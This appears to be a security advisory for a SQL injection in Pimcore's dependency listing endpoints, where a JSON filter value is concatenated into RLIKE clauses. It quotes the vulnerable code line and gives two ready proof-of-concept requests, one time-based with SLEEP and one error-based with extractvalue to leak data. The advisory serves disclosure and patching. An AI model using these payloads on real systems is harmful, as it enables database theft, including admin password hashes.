Pimcore vulnerable to SQL injection via unsanitized filter value in Dependency Dao RLIKE clause
🔗 CVE IDs covered (1)
📋 Description
The filter query parameter in the dependency listing endpoints is JSON-decoded and the value field is concatenated directly into RLIKE clauses without sanitization or parameterized queries.
Affected code in models/Dependency/Dao.php:
- getFilterRequiresByPath() lines 90, 95, 100
- getFilterRequiredByPath() lines 148, 153, 158
All 6 locations use direct string concatenation like:
"AND LOWER(CONCAT(o.path, o.key)) RLIKE '".$value."'"
Note that $orderBy and $orderDirection in the same methods (lines 75-81) ARE properly whitelist-validated, but $value has zero sanitization.
Entry points (pimcore/admin-ui-classic-bundle ElementController.php):
- GET /admin/element/get-requires-dependencies (line 654)
- GET /admin/element/get-required-by-dependencies (line 714)
The controller JSON-decodes the filter query param and passes $filter['value'] straight to the Dao without any escaping.
PoC (time-based blind):
GET /admin/element/get-requires-dependencies?id=1&elementType=document&filter=[{"type":"string","value":"x' OR SLEEP(5)#"}]
If vulnerable, the response is delayed by ~15 seconds (SLEEP runs 3 times, once per UNION arm in the inner subquery).
PoC (error-based extraction):
GET /admin/element/get-requires-dependencies?id=1&elementType=document&filter=[{"type":"string","value":"x' OR extractvalue(1,concat(0x7e,(SELECT version())))#"}]
Returns the MySQL version string in the error response.
Requires admin authentication. An attacker with admin panel access can extract the full database including password hashes of other admin users.
🎯 Affected products2
- composer/pimcore/pimcore:<= 11.5.14.1
- composer/pimcore/pimcore:>= 12.0.0, < 12.3.3
🔗 References (6)
- https://github.com/pimcore/pimcore/security/advisories/GHSA-vxg3-v4p6-f3fp
- https://nvd.nist.gov/vuln/detail/CVE-2026-27461
- https://github.com/pimcore/pimcore/pull/18991
- https://github.com/pimcore/pimcore/commit/1c3925fbec4895abeb21e5c244a83679c4e4a6f4
- https://github.com/pimcore/pimcore/releases/tag/v12.3.3
- https://github.com/advisories/GHSA-vxg3-v4p6-f3fp